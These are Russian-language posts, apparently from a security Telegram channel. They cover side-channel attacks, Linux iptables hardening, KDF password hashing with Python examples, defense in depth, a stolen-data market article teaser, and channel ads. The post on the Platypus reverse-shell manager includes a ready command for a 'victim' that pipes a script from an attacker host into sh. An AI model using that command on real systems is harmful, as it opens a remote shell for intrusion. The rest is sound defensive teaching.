Боковые каналы: утечка данных без взлома

👋 Приветствую в мире цифровой безопасности!

Поговорим о не банальном векторе атаки - side-channel attacks.

⏺Что это вообще такое: Это способ получить инфу не из самой системы, а из побочных эффектов её работы. Шум, электромагнитное излучение, время выполнения - всё это может выдать секреты.

Посмотрим на примеры таких атак:

1️⃣Время отклика — сравнение задержек при обработке разных запросов помогает понять, какие данные лежат в памяти. Так работал [Timing Attack на TLS].
2️⃣Энергопотребление — анализ колебаний напряжения в смарткартах позволял узнать зашифрованные PIN-коды.
3️⃣Акустика — звук нажатий на клавиатуру позволяет восстановить вводимый текст с точностью до 90%.
4️⃣Cache timing — атаки вроде Spectre и Meltdown используют особенности архитектуры CPU, чтобы читать память между процессами.

⏺Чем опасно: Даже без доступа к системе можно получить приватную инфу. Часто такие атаки не логируются, а значит остаются незамеченными.

⏺Можно ли защититься: Полностью - сложно, но можно снизить риск: делают алгоритмы с одинаковым временем выполнения, рандомизируют работу (например, вставляя шум или задержки), ограничивают физический доступ и учитывают такие атаки на этапе threat modeling.

ZeroDay | #sidechannel

Защищаем Linux-сервер от lateral movement

👋 Приветствую в мире цифровой безопасности!

Сегодня расскажу, как закрыть сервер от “горизонтального перемещения” злоумышленника внутри сети.

⏺Блокируем лишний исходящий трафик: По умолчанию сервер может соединяться с любым адресом. Исправим:

# Оставим только DNS и APT
iptables -P OUTPUT DROP
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -d deb.debian.org -j ACCEPT

⏺Отключаем LLMNR и mDNS: Протоколы локального разрешения имён - подарок для атакующего. На проде не нужны:

echo "LLMNR=no" >> /etc/systemd/resolved.conf
systemctl restart systemd-resolved

# mDNS
systemctl stop avahi-daemon
systemctl disable avahi-daemon

⏺Ограничиваем доступ к сокетам ядра: /proc и /sys — часто недооценённая угроза. Убираем излишнюю информацию:

mount -o remount,hidepid=2 /proc
chmod 700 /boot

⏺Контролируем вход по SSH по UID: Создаём отдельного пользователя, которому разрешён доступ наружу, а всем остальным — нет:

iptables -A OUTPUT -m owner --uid-owner safeuser -j ACCEPT
iptables -A OUTPUT -j DROP

ZeroDay | #безопасность

Скрытые языки: как инженеры общаются без документации

👋 Приветствую в мире цифровой безопасности!

Сегодня расскажу, как в инженерных командах формируется негласный язык. Он нигде не зафиксирован, но по нему живёт и работает весь стек.

⏺Почему это работает: Письменная документация устаревает, а внутренняя культура — нет. Она передаётся через pull-запросы, архитектурные шаблоны, и особенно через «мы всегда делали так».

⏺Примеры скрытого языка на практике:

1️⃣“Сначала Redis” — правило без описания
Redis — это система для быстрого хранения данных. У команды нет документа, что её нужно использовать первой, но в коде видно: если данных нет в Redis, мы идём в базу данных и потом кладём обратно в Redis. Это — негласный стандарт.

# Python
@router.get("/profile/{id}")
def get_profile(id: int):
    cached = redis.get(id)
    if cached:
        return cached
    profile = db.fetch(id)
    redis.set(id, profile)
    return profile

2️⃣“Вся логика в switch": Вместо блок-схем и документации по архитектуре — конструкция switch, которая распределяет обработку по типам данных

// Go
switch msg.Type {
case MsgCreate:
    return s.handleCreate(msg)
case MsgDelete:
    return s.handleDelete(msg)
default:
    logger.Warn("unknown message", zap.String("type", msg.Type))
}

3️⃣deploy.sh как глас команды: CI/CD описан в устной традиции. Актуальный сценарий — это старый deploy.sh, где закодированы соглашения и порядок действий:

# Bash
docker build -t api .
docker push api
kubectl rollout restart deployment/api

Новички по нему ориентируются. Он неточен, но всё ещё указывает направление.

ZeroDay | #безопасность

Данные на продажу: что происходит с инфой после утечек

То, что кажется просто новостью в ленте — «взломали, утекло» — на самом деле только начало всего. После утечки данные не пропадают. Их разбивают, упаковывают, торгуют ими - и всё это не где-то в кино, а на реальных теневых площадках, Telegram-серверах и в Discord-группах.

⏺В статье рассказывают, как работает рынок украденных данных: кто продаёт и кто покупает, где торгуют, почему утечка может стоить $20 или $500, и зачем сама служба безопасности иногда выкупает свои же базы. Покажут, как выглядит сделка: от залитого архива до анонимной оплаты Monero.

ZeroDay | #Статья

Platypus: менеджер обратных shell-сессий на Go

👋 Приветствую в мире цифровой безопасности!

Поговорим о еще одном инструменте безопасности.

⏺Что это: Platypus - современный менеджер обратных shell-сессий на Go, который может запускать и управлять кучей подключений одновременно. В общем, можно забыть о вечных танцах с командной строкой. У Platypus есть и терминальный интерфейс, и веб-панель, и даже API, чтобы автоматизировать всё что угодно.

⏺Установка максимально простая:

git clone https://github.com/WangYihang/Platypus
cd Platypus
make install_dependency
make release
./Platypus

⏺Или через Docker:

docker-compose up -d

Готовая reverse shell-команда для жертвы:

curl http://ATTACKER_IP:13337/ | sh

ZeroDay | #Инструмент

👩‍💻 Всем программистам посвящается!

Вот 17 авторских обучающих IT каналов по самым востребованным областям программирования:

Выбирай своё направление:

👩‍💻 Python — t.me/python_ready
🤔 InfoSec & Хакинг — t.me/hacking_ready
🖥 SQL & Базы Данных — t.me/sql_ready
🤖 Нейросети — t.me/neuro_ready
👩‍💻 C/C++ — https://t.me/cpp_ready
👩‍💻 C# & Unity — t.me/csharp_ready
👩‍💻 Linux — t.me/linux_ready
📖 IT Книги — t.me/books_ready
👩‍💻 Frontend — t.me/frontend_ready
📱 JavaScript — t.me/javascript_ready
👩‍💻 Backend — t.me/backend_ready
📱 GitHub & Git — t.me/github_ready
👩‍💻 Java — t.me/java_ready
👩‍💻 Весь IT — t.me/it_ready
👩‍💻 Bash & Shell — t.me/bash_ready
🖼️ DevOps — t.me/devops_ready
🖥 Design — t.me/design_ready

📌 Гайды, шпаргалки, задачи, ресурсы и фишки для каждого языка программирования!

📝 Как работает Defense in Depth?

Defense in Depth — это концепция «многослойной защиты»: если один уровень пробит, следующий всё ещё держит оборону. Типо цифрового замка с несколькими дверями.

Вот как это работает по слоям 👇

1️⃣Пользователь и устройства — антивирусы, шифрование, MFA. Всё, чтобы злоумышленник не начал с лёгкой жертвы.

2️⃣Сеть - firewall, VPN, IDS. Препятствия на маршруте пакета, прежде чем он вообще доберётся до цели.

3️⃣Приложения и сервисы - защита API, контроль доступа, безопасная разработка. Код без дыр - меньше поводов для взлома.

4️⃣Данные — шифрование, резервное копирование, защита от утечек. Даже если добрались - ничего не унесут.

5️⃣Мониторинг и реагирование - SIEM, логи, алерты, playbook’и. Увидели, что что-то пошло не так, быстро ответили.

ZeroDay | #defenseindepth

Все записи PHDays Fest — уже на видеоплатформах 🤩

Разложили их по плейлистам, чтобы вам было удобно смотреть сотни часов крутейшего контента.

• Научпоп
«VK Видео» / RUTUBE

• Технологии под сомнением
«VK Видео» / RUTUBE

• Лица и грани кибербеза
«VK Видео» / RUTUBE

• Defense
«VK Видео» / RUTUBE

• Offense
«VK Видео» / RUTUBE

• Positive Labs
«VK Видео» / RUTUBE

• Архитектура ИБ
«VK Видео» / RUTUBE

• Development Security
«VK Видео» / RUTUBE

• Development Data
«VK Видео» / RUTUBE

• Open Source & Open Security
«VK Видео» / RUTUBE

• Development Ops
«VK Видео» / RUTUBE

• Devices & Technologies
«VK Видео» / RUTUBE

• Development People & Culture
«VK Видео» / RUTUBE

• ИТ-инфраструктура
«VK Видео» / RUTUBE

• AppSec-воркшопы
«VK Видео» / RUTUBE

• ИБ как она есть
«VK Видео» / RUTUBE

• Лайфхаки SOC
«VK Видео» / RUTUBE

• День инвестора POSI
«VK Видео» / RUTUBE

• Development General
«VK Видео» / RUTUBE

• Школа CISO
«VK Видео» / RUTUBE

• Fast track
«VK Видео» / RUTUBE

• Python Day
«VK Видео» / RUTUBE

• Web3
«VK Видео» / RUTUBE

• AI Track
«VK Видео» / RUTUBE

• Партнерский
«VK Видео» / RUTUBE

Также записи можно найти на нашем YouTube-канале и на сайте.

Приятного просмотра! 🍿

#PHDays
@Positive_Technologies

KDF: зачем хэшировать пароли сложно?

👋 Приветствую в мире цифровой безопасности!

Сегодня разберём довольно важную, но часто недооценённую тему: функции derivation ключей, или KDF (Key Derivation Function)

⏺Что это и зачем: KDF - целый подход, как сделать так, чтобы украденный хэш не превратился в пароль. Даже если база данных попала в руки хакера.

Вот в чём фишка:

1️⃣Удорожание атаки
KDF тратит на каждый пароль больше времени/памяти. Это специально, чтобы брутфорс занял не минуты, а годы.
2️⃣Соль (salt)
Каждому паролю добавляется уникальное значение. И теперь даже два одинаковых пароля → два разных хэша.
3️⃣Итерации и память
KDF гоняет пароль через себя сотни тысяч раз. Условный SHA256 — почти бесплатен. KDF — нет.
4️⃣Никаких rainbow-таблиц
Соль полностью ломает предрасчитанные таблицы. Даже у 123456 и admin теперь разный выход.

⏺Почему это критично: Потому что даже «хешированная» база легко вскрывается, если вы использовали обычный MD5 или SHA1. GPU и специализированные ASIC-фермы проверяют миллионы хэшей в секунду. А вот хороший KDF останавливает даже их.

⏺Примеры KDF, которые реально защищают:

• PBKDF2 — стабильный ветеран, до сих пор в протоколах TLS, Wi-Fi и enterprise-приложениях.
• scrypt — заточен под борьбу с GPU. Требует много памяти.
• Argon2 — современный стандарт, победитель Password Hashing Competition. Супер выбор на 2025 год.

ZeroDay | #кэширование

KDF: как правильно хэшировать пароли

👋 Приветствую в мире цифровой безопасности!

В прошлый раз мы обсудили, зачем нужны KDF. Теперь посмотрим, как их применяют на практике.

⏺Сценарий: допустим, вы разрабатываете веб-приложение и хотите хранить пароли пользователей безопасно. Обычный SHA256 - это не всегда лучшая защита. Вот как надо:

1️⃣PBKDF2 (подходит даже в legacy-проектах):

import hashlib
import os

salt = os.urandom(16)
hash = hashlib.pbkdf2_hmac('sha256', b'password123', salt, 100_000)

2️⃣scrypt (хорош против атак с видеокартами):

import hashlib

hash = hashlib.scrypt(
    b'password123',
    salt=os.urandom(16),
    n=2**14, r=8, p=1
)

3️⃣Argon2 (современный стандарт):

from argon2 import PasswordHasher

ph = PasswordHasher()
hash = ph.hash("password123")

ZeroDay | #кэширование